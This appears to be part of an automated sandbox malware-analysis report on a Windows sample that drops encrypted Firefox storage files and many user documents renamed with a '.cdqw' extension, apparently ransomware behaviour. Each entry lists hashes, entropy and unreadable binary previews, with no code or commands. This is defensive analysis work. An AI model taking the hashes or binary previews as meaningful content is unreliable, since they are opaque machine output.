........+..Y.o.Yz..i.......`.Edl<...NT....p..y......}r..'..g.tS....@....!..1.6.......'L.,....~..R...A.x......Zw.}r.....j.&/%...qB"Va..ft....\\.I.....~..M{...y..0..;..V.'.....s.....cWy"2.p..g..G..W.@...%...}...'.....[.!.)..K..../$.y.q2....J.......E...d8../....A&.;..s1E.....QK..ft.K......K\...m...F$]....\Q^.D.>..f..KRL.\.F.....sd._-.....{....e.g....m.;...i.An....e...U.j.q.......`.b\|[.vi.j.;.q...L....g.u.".....I.,C.n..o......M..(8.~.SFY.!......P..Y.)..S>..jvJ8.v.<+........n....2.]I\| .Hnu(..R

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994375219906859
Encrypted:	true
SSDEEP:	768:H4PjsPwIiUido0BzI9tM52+d+B4ClOlJtqwf8BZ42g9WzR:+siU4ow0//oY4ClOhOZ42g9Wd
MD5:	C178C085ECA2CCD3899E0E61C71D1431
SHA1:	F79937E5B36C6229509D12E416634F3F5C0B2773
SHA-256:	C3E71DBF8358DFB7C60513BAA3A4D7A7C02097A3A8788200F0E7EC3C6D395675
SHA-512:	0662B3C7024CD89CACE4EB5DC4FD21827E19AC38112326DC34A1A5906CB9FD30386498A841B06C848BF85DDCA825752F32EE1B0CB867356FC8EB1D2DF89B1E8C
Malicious:	true
Preview:	..-..oYg.v.j!"^.U....;,<.Q..d.....v...Ho6t..=}p....!GQ.+..`...$..V{W..a.....-.s...i..Y.g.o2.jP5...y)`.f.y..N&..........PR......vz...3...s./.t.i%%.]..j.m.a...Y..'o.E.+H.T...+.P..'.....d:....@2l.-.HJC......;.+o;"..S..4....oG.LtLU.E.....o......d.G).....}^AfB..k....xJ.A..\.R....x@?..i.....pj..Zz :,J.i.....m. .f.Y...#Er..O.J.....}..t@R..0.......SjH.....0.b...P./...sC.p...Mfm.q\|...7....f...L...zF..xLus$..&...E.C.......Tiu.dGK..TTK. ....}]...L.\...........F$.x.o..:.b....:.g....Z.....H...mS.....7z^...a......../+@T....T....j.\..{...3<(.. E..........a}P[.6%..v..!...r._..hZ..}7(gO2..:..>...Bg.1.\}. x.. ..'^n`.NHh.....C.A..K...m..I.G..[....V.L}JW.*..E...2.y.&p..9"....A.<...D..2t..qRIA.....z.../...C.v.S.D....).d?<.^.K.A.a......Ck..Dw..Q?.R.4...^E.-dq.k.f..=..n(.nsD...N.`...3lUNU..P.N.H:.....1..Gdh..../....#.?2.,..y...=...............7V-..{...).t....-.m3......q..........J[H.'...l.....i..kJe.t%.ad.,...8PW.I.N.2.p`.q..4./.A..0%9.w.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	598350
Entropy (8bit):	5.703346681487081
Encrypted:	false
SSDEEP:	6144:uMkCfez55gGQlqlVlsy//ghEwYk2snk1MDFHrxd5aDl7l5/o72:jjfevQlY7sk8EwYrsUMvd5aD5bg2
MD5:	35F3D328E6536015E9528EA428E12675
SHA1:	8E04F06EFF5602752C703E43C30941211F9EBE01
SHA-256:	79C481D92F6BE5FC3B1880BEDF4674C50138EC9929FA15B4C16DBCEF5019CFB6
SHA-512:	A5031B0CFB8089D2B2D2227FB5EE0FF8B05E45D24666915996A5307BB00E07F04A1346BDFBDC8304274DE285F686544A1EB0D86F6E8D631800E80676A4A289DE
Malicious:	true
Preview:	SQLit#...S...t...;..t.z...d$.....~..n.S.t..?.u.J.U3...]...J........^..h.].AS...z.I.$'..8%X0..)..h....~J...H.J.m........).:\h....F.......i.a...g.....Z..^.B...CY..P..x.......H...b...e.D.D.&.J.f....oj.y.n.R......)t-uJ....#V....v(.E.@w^..\...R..RV@V....xT...d`f.FN..%d+...~....A....<2J......N...'../....s-j&....d.=......?0..t........,.m$.....XL\.LY.G)...n/}..$.-+......=_y.Ev.^..I......$.g.o...n..oI./(.nO...,_.-.....8..jb..u.....r.5T.....:<?d"^...........s.+..x'.....w...)1J.1...Qb8.@.Z. .../..h..Q......GI(....=.M.3t.."...?6'..X"...V.....7..%..#..).....\...0Bv...b8w......G[.m.;...(.8w.....}....~J.........V./...\|..v......:.2....12-.............).l..;(..Y}.uu...6H.N.&...D....j..g\$)B..R]..Q!...Jq.....m.....\%I.{.........j;h..J...XgB....o.......O[...<)tMS.)3.!.s.<'..L9...............h.....g{.......~R.X...+..3....7h>....9E.2..^X.g.t..........t1.h.....wh..m.......7.6lK.}gu?....&..#....1.....~....9.{..`.:.......S..E....>.........6.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.9943896102397485
Encrypted:	true
SSDEEP:	768:rDnDHQTCt71Cw7LTmSaF9OUKQsrp4szccZo/VvfDrP:nnxN97X6F9NmNlZo/V3nP
MD5:	AAC299BB8DB610BEFF2A14ABE4FCE2CC
SHA1:	AAB0B787B2B8C328F6BEF51A82AE55A0C51F1F50
SHA-256:	872974C8E54CA76F9315262C1DC5DD34275BD69A3DEEE6591103A6529383C52B
SHA-512:	E90A8AC2EBB2EEDD77A741C76CB5DDFA139E85C91FC13776E0235B63BFD07D31FCB08BECBC2913B50700B3601140432CE78D0ACB75B165EFD94971957C6F7A1A
Malicious:	true
Preview:	..-.....r.b....=j......'^...a..$....S2..~.<.G....5.. ..c.k.......'..X.. Q.L..^.[;...V.U...._A.9.F......f.$.<.`Dx..g....u!.....c..LXh4...w~#k@.]h....O.....=U1J.S..f...]0.....jzn.?p$....,.vs..W:C.:..J...b...YQh._.....{<..^...6#c.v..1...I]QK.O......d.....T...q.....m...yG.B.".........f.G7.....BJ..Wa.J6.........e.j.w..._..?j_S.<..E.V.p6.;C[i.T...o.;..7.M......uv(z...F..fE...0.9Q..F....... ...?.0}.. ...T..@...I0.~;.@Fl...A...\....2w..k.BLh8.L.p',nqB.....d..V.b..._k.u...X..e.....}..1.......^.P..;.`.4...X...x.C.MB..=.^Dl.....9..u....^.\r.W.#U.D.I.p".(n.../..<"b..+./.@....%9&0.H..%..!..w.....!D...Fl..e=....z/..aZe.f..M..w.t.H...g..}.8.p.UceHRO!...8..g?H.C..(..........b.........B.....oX.=.\.k....8.-P..Y..~.....f).....b...1.l..o3\qeh.q..T..\.b.....O{B.yqE..}L;.5...&_1.`.k.G...j..<.X..V.a'..bW.p...a.G#!..C.{.ui$....b...\|2.g..P.....?L....&B._<z.*.6^..Yhu...L/....5....'.+cW"3@.?TQ.._'.&c....... .u{..B....k...v.r\|.....ar.Z.Q4.s....J..z{.....o[x(}..dyVB

C:\Users\user\Application Data\Microsoft\Windows\Recent\NVWZAPQSQL.png.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857884882438124
Encrypted:	false
SSDEEP:	24:FnWNi22dfC91t1ir9r6T3EebqlqoodE5bT3iVggysknw1bD:FnqizdI7FtqldoIf3iVggysknyD
MD5:	6C77E03CEED7561CAA50BA2534B8FC66
SHA1:	59ED8CF05E294D1A0AEBE33CDBE3A986D67A0012
SHA-256:	3940968FE77E35DFE64F44A441DDD87323728BFE47C5DF7C5F1FFE0C5D0374C2
SHA-512:	A240CC2D787F1E75AEEA10DF5A4FE477CE9A53764E371C4BE57E36BA758DF68F495A38B618B64174369A125000D0FF4829109BE74A385B8ECB4331FE079DDB5A
Malicious:	false
Preview:	NVWZA@d....H1.~.HO."c....z[._..r".....p...s.......d..).x.@..4v3..9.....6\_....c...kX.....?U>D.J......u.....7...#..X.`cc.8....R<&....~.?(....I.oA...!...^..D\|...0...@..0....u..G..L..7..P...'.\........T..c.V..).^.;.o6.....},....n.lF.o..9,G........... W.........S.t...jX$..Pc.4(....\s.g\|.6.&K@.f.)o.t..i.~X.,1...O.........c.9.>.....a..(^\..x.:....L...]....Qw4....M. ......Y.D.......}.,L,d.yX..I. O`...."....Y..B....HRX...Y..$..0=.'.......1..../.............H.N,....bq.`.@6.V.x....."..K.`..m.g. ..`)..........._..M....G.G....r......(.{q...h..U..<-.....?...........hj:Z..+....(.uUN.2.f.l..6..a...1 -5x.q....U~....}.......=X........%.~... .ouw....R?@.....FH."x^...5..p.W.3.S...!..J.7g.U."..0..G...g...D....`B[.1...o8d....v..+..(.......\n.....v.]Dly.....P..A2@....{M.=).t....-,Of..l..K.U., ...h%33JU..\|...(..".....2.c...F.....vF....c..].z......;d.q.rn.]fd...<..x!q?....M"......&...k ..6.&O...Cb..u^..4..1;.>.K9o.J.(ygw[J..`...~..f..^..w.Z4.6...

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWCXBPIUYI.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.82910579640223
Encrypted:	false
SSDEEP:	24:3FvKQEp/lH0fpqEZ2yyP20uQhaybvH08sxF0oFAhtepFunJFH0T+Aix2w1bD:30HV0RIyyPIQ8ybPDkF/FkSWkT1iwyD
MD5:	AD1FFA82BE64A39118A534D8E172B1A3
SHA1:	525A55968551CE864F9E4B1F81D063062133CFEB
SHA-256:	DCD21B2059E0A38C3702B8550852FAA7194DCD8015A6754A58B02F48E2FC0BF2
SHA-512:	81A6CAF20ADAFB38A86B44A2A5D107943831B7FBE4FD2E9F3ED9326453E42228C1674CB3233FF835DDEFEBEB6A7DDC4492C7FF830A70AA53974935712687645A
Malicious:	false
Preview:	NWCXB.F.B.d...$......s....`Dx...y.G..uu(f.9...i9....C..S..w.J..-..I.dAG..j :P.7.0D.a.;..<tIz...T..J{...\Vmo ...o;;...aT<.&.H!...b.+,.q..7....J..4.....N.6O.`.....7...H!..&....s+j...x6@HGc .M;<.........u..C.u...8..0;..6U...x!W.uP.:."........#.P..7....?..G.../....b..wR..a6.m..4U.u.=uCf....8....j..AT.t...N.rKU.....8o......^..m...J........7}....G...0...x0......=\.Dk.o.{..<Y.t....F0...7...........QDp.g.A...j...gW[...7...B........-.I...I.T.tJU.....k[5F .......n......8AW........q\|JDv......2..C..X...0[...{......T..8..TI.......3.8.w...Oj.Z..~.M.Rx.?.........t..mlK\|^....U'8..zTn....B.....1...R..!.2?.yv.c...g.}.+.&]}F..%..\\|..;.+.....p{n%.sQ.`.s.*.P.&...P,.....?S.&...%p...J....C.P...x o.F......Hg....Ec.....j..].=G.".B...~.U...{......F5$....G..Y.\.vO....p...S...2..hw..#.0....mw..M.-Q..<-$..1.x.X().....rB7../A....v1$W/.}Z....C1p.&U.2@.fS.....I...'.Q.....e..X.T.0...l:s.b5z,..H......M..@4,..K8I.OcF..Z.....+.ld.4.U.u..?..~.=._<..0...?s.A..CH..\|

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWCXBPIUYI.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848527456369558
Encrypted:	false
SSDEEP:	24:YJpN7ePn8gRRqr4F43mySHK/poCpOmq5q8QgHG3OJK2xt57s+U9v9YlZG3F08hB/:8pN72nx/qrfWBHzqoQgHG3OvxToJvGGb
MD5:	383FDCD53A7EEC91E6FB60BE248CB8AC
SHA1:	D2F7EBDFBC68D4359705933017C18C51331A00AF
SHA-256:	AEF9EF58994B4F26EAEDE3A623D2AED64142E40AFF63556AE2617185049796B2
SHA-512:	9A36311DFE0BDE0846A7CCEFCFD6857E3F5A7AAC69E4A28431533B7D95FDB4E20E5DF8A0AC14DBC8014F85190A5BCF3FA511562C5C40247BA87EFDFC470A9D9E
Malicious:	false
Preview:	NWCXBN.`.d..\...L...l .X.q........aXgX]....m.....O.....O.....N.f......k4..HA.6.Q..kU...6.....o-......+....8.k..'.G.....`..n...!4k..4..f8.._.1j.....Q....j%.9=)zbqD.9.C..Q`...S..<...+...j.,P....62.....y#.....]:mjA..S...N<."...P......9.f.."......~....Oy.W....$.1.".K!X.R_...?..?..".....G.Y...L...............(....K....@.9T..R.N.Y..78m..t....R.. ......{...;sYWZS...W.w....n...qf.<...R.....=E.W+.,.\^A...o..........in.ba.....SG\.Fgn:....7..h(..k.r.\|B.......o..........za&..O..W.\|.Kw.+.)^%.t.<p..z ....h.!'.T....q....P'g.d..Y.g...@..=o.S.0]0)...;.E......n......<......sz..Y+........(...d%$...[F..\X...`/.p&A..A1....;.........#,X ...".R?.!..&...nQ.[."(1........x..Qg.G6.).OV@-...e...#m.\.P..J_..H$..J.E.....n.b..>...].O.........2.........'...'........@.....Y...J.....oL.5!.D.6.^..!...j...(e6zA-..#&3j@1A%t0f.........6....M{.+.#.c.....X.........?'#....[rT.....f...$.......r5WKe...$..3M...."........H..z.&=..EY.../..b;}.....V.sL.3ua......fE.b...T]Z.

C:\Users\user\Application Data\Microsoft\Windows\Recent\OVWVVIANZH.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848483452750624
Encrypted:	false
SSDEEP:	24:dV8kEivX9Ub3VGSh0GFdM6zQgC4vvdDxNIV5kjDqGaRJZ8zhPkrRPcww1bD:dV85MX9Ub3uCM8fRtzI/k3qNZdrZcwyD
MD5:	6C51288CB549E81CD9950074BBCB300E
SHA1:	30EB74D936DD31E9B16C45C6DE3113D1A2C2DAEE
SHA-256:	7D6F73CB0749A93CF39F12A79D4E87B17F671E26AC209668433418770499A4E3
SHA-512:	087D055FF3C7C4A47005A1BE2D67434B7B926D359275C13ABD59CA36B5B196A19D23C47F81E0CB2CCC06B0B5DE5C6B058945AD8140894BD7269390A7BD62B01B
Malicious:	false
Preview:	OVWVVi..R&...m..<?.a'.E.-[W.....b..k.i.AH.C..0......+..8"z......0..m..%..u_...m.l`i@......O.,A....1.C>&..Rc..An.&.ME....%............"...l...#n.p..4g..R.....c..W..Wj...A...53....v9.@L.X..}.g{.......sz.-.eo.6.yS..me.....>......b.....5...j.;J.T]?T.\.#8.3.S'.8+..R.../..P.........=...P..0..^.1...;K.5....ddyD7......#....x..Q.......s.........8t{.Ax.i2...d...96.s......7M..@5o.d.....^5x.I.F...T..(......)Xi.2w6...4.C..}.......ik...g.e..p(..&.C...%..;.~O.....4..`k.X.f@.6M'..X!.z..........=7.l...q..W...v...f.!.;\|S.Z..NBd;..U(....#..q.ZE)..Yg.......1nDxEv.\|H:...>..._....O..`..PV.u..u.Pk.Z..9.SJ...c.aY...uZu.....v......WQ....^.bO.."..y. Yo...\|}K..x)q.......?..(}..xR..5...6Ez.........q.L_..=...n.zT....WXBW......?...."^x....K..F/.{...N.)b."..-.'s..$....PN.F..jcnu.N....y_M.L..@^.H..Y.....u...3....P.....W..e.....<......{.L.<...!..R.>.D....^B\|..:>...3h...c%&d.~.).dM.egT....../r...D....xm.c............"..P.....L..O.ya..s...a...\|e...2......w@yf].....(.

C:\Users\user\Application Data\Microsoft\Windows\Recent\OVWVVIANZH.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.869085400413857
Encrypted:	false
SSDEEP:	24:kFttZKWyHsD+VjTUVgY6sQ36rh5g43Mp8uZOLWjFrhywxSOoDww2m7ppAbnZw1bD:kFtyWyHsKUVgY6sQ3i5f0RZ/jVFoDw0l
MD5:	F19F0AA5AC516E191F5E71987CB4EF41
SHA1:	CA711B9980E7643A7BD4D8FAD88C880585873104
SHA-256:	9D840E84F8E2CB82DAEBB24C002B61FFFDD60C89BD3A9E95357A6A2DB793A189
SHA-512:	5E35D73F89AB8701B6A9BB2EE845DD4F7FC145BA4E20D22DE0459D17615AA4259B898366FB37A36B0A1520B1FF7C3BA447C421FD27B8AB977BA6B14028773845
Malicious:	false
Preview:	OVWVV.2@.[..+.$.Mr..u?.>4..vh&.=.I..X7...CL.7...>.H.0..I?.;=.....%.^.+81.9..H{Dl'C.....:...E :.z.,..Z`S#r.TH.v..?..pA..[..-..G.u..J3"M....=..".s...u.n......J.k....D.......K..Z.......A.o..T+p.>.}q]YlJ..}....\..x:.../...-r......V..#_7..%'.....v!...0.T,..\|.......M...!.e.].....8.~f(.k...T....Vqz....1......C.........r[........d..i./.%O)....TH...8$.bT./..(s.F......?..d .2.G."T.....4..Y..Z.Ao.AFU..b.y%dG"O.3.ha.qv3..q=.i.E..M`J.2)%. .m...^n.Us......6C....4.Pn....y.M....?.d.....F"J.1.....?....<....".).....}......./.H.........M.aChfP.o..H..(.Xn...._._.dS..#.....5..t.Q..Kv?}...:(.2.....#.. C...s.J.#ha&..{.}.\|.'SplF,.A!+t..........c...6.............9...o....#..C8....n..l.._..4.UN.h....WNk..u.'........:(d....).....af..^._....I..hB...(........7.Z...T.=.Z..+%r../......-?<.T./..s.h.U."..r..=.....`N....y6..A. -.....W.D..>=x...Z.V.t...y..~&.J..q.{........s.y...:Oe..[>2...%X?.4nw....._W......N.z@....}M..q.8...&.aC.)zE..TJHc[..J......$........:).=...r&

C:\Users\user\Application Data\Microsoft\Windows\Recent\OVWVVIANZH.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860019060815186
Encrypted:	false
SSDEEP:	24:S/KM5Ex9hzk3SoBLgIQ884iVNdRp3S9qxJm1cGurM+rbSpFd7mdUu8w1bD:w5KVzkcIQ5NYqOdAid7mdn8yD
MD5:	747B0A51BFE00551964BD6CA6B280E23
SHA1:	35509D15865F4E0689EE33565A17FE20B44EFDA1
SHA-256:	4560BF2F208BB6F28B24B8D477D30E19679DE1C0FE7F3C44BB2D464BE3BCDB63
SHA-512:	5B0ABB50BF6BEE33BD40A81B5C0D0D4E76E67C297D1CB9A5F9EFF15FF996AC315BBABF210C1635300F7E11EA455D8B0731DCA89806DC7029A126138C3497209A
Malicious:	false
Preview:	OVWVVx.!.UA.1u....2(b.H5.Y..."......V...k...d..dD:...a....~.}/.....O.}........3+..q.b".-..H[......G-....9........\|...>.6.../.........O..c..5.,i.9..........sT......l2f[.........RQS.#.5..qvp.\.,...N.J..Z..Z..2;.+$4.H.(w,....#}.#..IW...j...G.....=.>LP.<8.r.q#6.e.7.........$........';n.4..-..=..S.....1.\.v.e.b..t...\..W^....y.&.NO..y......\|b...>..F..\...ZDz..L..;g...gez...4.gv..p..<.tb..C .O.]Dt...q..H......5A.m.I.iB.p.j..c.K..%.......\.-....~p`...6..Jd.6.'.>r.....q7..A._n......A......=B..lKz.Q..Nb.B..\|...:..(....+&.v.4...b..(...kg....L.U...B.w(3.~.[...wF/....qDi.;O...m..d%.G'...R}U.%...l7..B...e....4......A.ttQ.V...Lx..3...[.$...6.y.....q.....:....,..L.3_...Lv~.'.E...S..l.b...p..n.]...Ti..)..^.z.N.!<5.X..5.0..).$.6FQ.....*..U]].#5...hs.Ec.`.$..W.\|.3.oE"..x^u....2U......w.q1.:.aD.va.j....Pj]..M..+"7...`.s.`A..JI;.....2....^.U}7.....>... F..@.R..-....+R.........Dd.+mSa.G..T.....~.$/6.....js..\|.......j3.6.C..&.F....B.`..g>.Y.v......

C:\Users\user\Application Data\Microsoft\Windows\Recent\PIVFAGEAAV.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846663843632474
Encrypted:	false
SSDEEP:	24:EL/ojnxe7Is1rCh2sGSFT2X9+oYPRvGk+UzLOmWWmmDrw1bD:txA/1ri2ya9+oYPbFzymlmmXyD
MD5:	A1079742DB28153AB946BC7CE1ADC793
SHA1:	E11ADC6ACA0FCD44CDDB8FF1E391FDF28684446B
SHA-256:	6724B9EE9C6515A4D16BBB38B41E054E687513C780E3F929F6DAE31D7DFA6745
SHA-512:	457241E5D0D265E856B1DD0D3491E86D8FB76D2F09F0BFE03BAC929CE46EC7D93533D76B68BFFBEAC35B08D1BD5A50B6BB2F0F3D002133C2FFE52DC061FA3F7D
Malicious:	false
Preview:	PIVFAiPK0....~e.j....f.,.8:.&...Xf......@..&..........e.d..n..Hh....3.U......[/{..Jf-.5.....G....5....i-Z.5...y#..z4..q2.Z..@......>.!..wT.....U.0M.^....ab%...}.f.Rhd.sv[.Z...<......Ou.U..:.d..R.NdoS78Pf..1^.n"<.NU@..{2^......I..] 4."}x..nv.......x..B...3/..P.'\.+.i?8........n.F.... ..0.....>.Y...[.J.U.w-..xY..2.v...kY......M......L=;..ta...UT...N..[\.V.l...`B...0B..0.B.I..>t....aM....sdl..O`.,...L..B......Kh..s.L........cT....\|...Bs<..K(c.....u3e"....82...C...<kc...E..6ZV%J...._H+.j..uz:..p .D...y.... -H......g_.....+.8.,.`...=..Ydp...E........X.B.l.<..U.Yo.^B/...m9.Rh...~m<...@zJ....i\..M..$b.y..Ie..-..>.. m2rv.)s.=.!.k}...ly..+...}..D_....}^+....ZWp?g.......\u.<&e(./y.....3Z.E.&....>ip.6H.A.1.4..).........,..eO.....`.......l.3v. #....}.=O......s\|L.f...*.%70.......\|..$..`.q.K..}..S...........E.......j.^5....E....TB^.%.<.....zq.M..,.ze!.v.....e..OULe.UB....C.e..Pc)z...^.....0.o.>.....1.Ld4(.[..:n...^p..a...\..?...?.4...F...Z..{[.

C:\Users\user\Application Data\Microsoft\Windows\Recent\PIVFAGEAAV.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858449660719739
Encrypted:	false
SSDEEP:	24:qYkMl0s7S//Lri0EhKe9z7EutfAEQ5jD4UJHrMP+h3w1bD:zmse7fex7EpB4iMGh3yD
MD5:	C7F611DD81D1B8CDB57855665DD36295
SHA1:	0BD5E3EB6E4DE022785602A2047C7DC44A6D4411
SHA-256:	F1431D79D44C422A6C53479AA55480AF14BED0B7A0E6C0B0D009E82CD5597B3F
SHA-512:	C644EBC84598571592D5CA1614429246E154F7B63F181AAAD411B51ADE1E74186A329B0A3F09DA8AF02752B1CD2E92D250735DDD8B8968B28D62D0D796371F59
Malicious:	false
Preview:	PIVFA.W.........prcY....rwv.1..SB..W..\|.V..{.3..9.:'..l..y+$.a....V.t..mQ..Y......_mF.....~I..r'.3}l...-.n.8.}3...-.]{.h.Y.......y>.Ok.uP.y...O,..e.\..L.T..........Qs..@...1W...{..<....zu......\|J.g9i,...J............#.'.@.....Z..e..,......?...f..8......T.z.Q.N}...._!U......v.).C.G.`.}2.B.B9.V..dl..{....r..hp-.....1....?.m..ge..<`(....3.J.a.. Vw.W...sEW<..f...Z..<q..(.P..g......ON.M..D....y...%Q........~........8.UX:...-~..o..mzHw..R.e....%q.y...<....o.ws.0e. ...Eh........u....,/..9'.y..R".....#c?...N...h..>.C.rz_.Nqh8........5.#.I/u..P..k........d.BS.V...[s+S.f...F.K...{<......)%..E.5..0[.....k.W..Q....(..:..R...-HL....o...@.gx..C19...u6.2AIM...Z.[..S...p,C.....C4i..F...U..p..J....E?e.T.h..?..>J.S^...;zt0..)nC.}K%q..vT.F^..R....z..sNg3K...........M......... ........]8n...h....l..^v..?..`Z.....FS.4......~n_......Q%....1.......j...1........-...f......%._..NoGcI.e....>d..o..n.#H...(....+..I..6..%B......n....W.n.l31...`{.p....

C:\Users\user\Application Data\Microsoft\Windows\Recent\PIVFAGEAAV.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.82651156370446
Encrypted:	false
SSDEEP:	24:ewOqfpyFKuI5zi/DMMMeZB7+sQbdT1VxdQj18NefWSZWVrTJGH/lw1bD:p32QzgoMMeZtUdjU1bfWRu9yD
MD5:	7B6F64509F81F8D708D7D1B4DD5EDB93
SHA1:	B920ED4311C4D94E510F9513AEC5A9EBA8862825
SHA-256:	D3F9001B2652B84713A9F0E608CC382C7A678859BD9327527E8992FED03D7C2C
SHA-512:	7C61EE678152CDA4D606ED714471B4848106430E74B16730AB9B302758F31150DED771099E88FD1AD5A20E24AC70F22911D99AB10DD365AD69C47000B3ECF24E
Malicious:	false
Preview:	PIVFA..X.f4..T....g.v";nZU.......[~..Jd!.F<z...........C.o..Xpg.........7........./A......Hv.V:...Lfx_r....s......M.b....EG..m.~Q.@bdC..3.ah.x.E..k...}.._.6......Xagd6M.C..%.:k....jV.Z.J.....GV...lO.] ...3$].cz..+.3.[.>..`(Yn..?..e=.X........%.8.}...}..]b>...$..N....N.....P.._...p.....`.F......5....-0Y.D.G.9.f?y"..H_..8f.I. 5U.+...D0.....'\|.&W9...J._.,yA.&.....{..Y..._V......SQ.dc@..xn..j[L. ..J...P.....Ic@}x....N_4.L...5.w....UZF^....hU$../..6....0eNr.`]..2,.6!J...]....\|...VB..N....[.#.Pw\., .,W.Iv2......$.:.......9........l.j]N+jS@.o.3.)L.&.6....\|y..^..oe.q....k.....~.....>....c+....".H..h.+.s.{.D.K..?.o..D-."O(.N..;#6(..i........x.......].f.\....]....W.Ie..i.H.0.s.d....=0...5@..<.H. r.O%9}....I....$.{....(o.X.6.W5X.. 8.A4.-F..Q6?.m..)....z?.....^....T..>oo3..1UA.4.../.\.w.Q....cA......4]...T...XtFD..$0..=..G.f..@.lHx.\1%{.....`..pMfjE../.......X)B...E!.P.}W.qem...by....:..5.).../..a.)Z....&P-....4.X.{`.g.......;...j2....v...n)..

C:\Users\user\Application Data\Microsoft\Windows\Recent\PWCCAWLGRE.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865664779746686
Encrypted:	false
SSDEEP:	24:U+aloDX0SEHHA01RA3wCJPrsG+gXD+KjKL4NLLRO+VnieCR+ww1bD:vayEI07swhGrS2KL4N5O+V2YwyD
MD5:	4D2C5097F896771F511ED236FEF12256
SHA1:	EB3038BFCB57D7E540980FDB8E0EBFB522D7B566
SHA-256:	266771554C101682C928936113AE54BF3DAC67BB11AB4B10F22D28508ED6AE4C
SHA-512:	117C890D7898BD717C5A622172A8E820D6DBCA1510819EFABA510C6E6AC14458AC439274489258889DC6CB9F4A29B5AC949C6A7A11488C7DB76E15DDBEA16AD8
Malicious:	false
Preview:	PWCCA>O.).l.....5*.{,W...G....Gc.p.I.o.o^&....H.s....U........R.......X.../).;..T...%..c.P.....%..M.p..+m....g.C@T.=..#...3).\|. ...fM.[.....%..\.j....?...x..a.Y..8.....\.y......Ik."...A.s...L3Pan...6r..\.w...%%........<..`B.....,5yo.O....)....\|.2z6Cn.6E..4..q)...u.......i..f....[d.TdE.P.5T.Z..Y..i..8.t.4=....:....dl..w....67.E..C...9xG]rXV.j....~X.x.\.....M.?.)..\..A~S/........li.u.jd.(....).;.R....#Y...?...nB....~t.>.V.t......y\..g.<^.u.."bo.U...8S.K.........`a.,..S8....S........cRH..T....v....:.W..D...p"m..q.n.N5..sNe7..s.G.S"...oR..-......,J+Q.1.5!\....5'.......>U.X.:..Ig..[..,.s.1..-.B.BlA>z.bz.G-..C.9O..j.l.....O./.. j.`...{...n.M..l19m.F.5.2.&.\-.l.(....v. ..\|.d.Z... ..c.w..o..$nl.]&.8...m.U.K<e.3.....O..^;...2}v.bW..Z.6...=.L>.E......1.\.S<joN7..C.UC??..4)\..].H..S....)..M.!..d.1....G.Z6....Qf'..A...1..y..6d6I.O.c{n&M..4MfC...........^3...}&.?...&.$...D.tg...=X/...T.\|gm...W....&....H-...<Av...3r..<...K....l..b.1........e.p.

C:\Users\user\Application Data\Microsoft\Windows\Recent\PWCCAWLGRE.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.827998176793139
Encrypted:	false
SSDEEP:	24:XSvxNiI0xFaW3UHVBSQNs0QjWjgG6IFZ1OQPQWKSKw5iO8AUMHbbmo7I1h9xj2j/:XSvxNiI0x/3UDBTjF6IFypWzKw5JPUMh
MD5:	E9E5611B204F5A60230D019532DE35E6
SHA1:	1936D4D2FFFB4F661B3AC0732CC9EA9C7BF90184
SHA-256:	60A22D2882EB610191A8C9429BD53E9829C117E6915F7B3535E94AEE35431205
SHA-512:	C943F5DE9D95901FE99F8A4377EE2D1F3115B081BB2A42A949DDC875DC854A8B254A269E8F5F4B09BA3A6F77CE2A91AE0FAEA0B582315C622DFA6296179DCB24
Malicious:	false
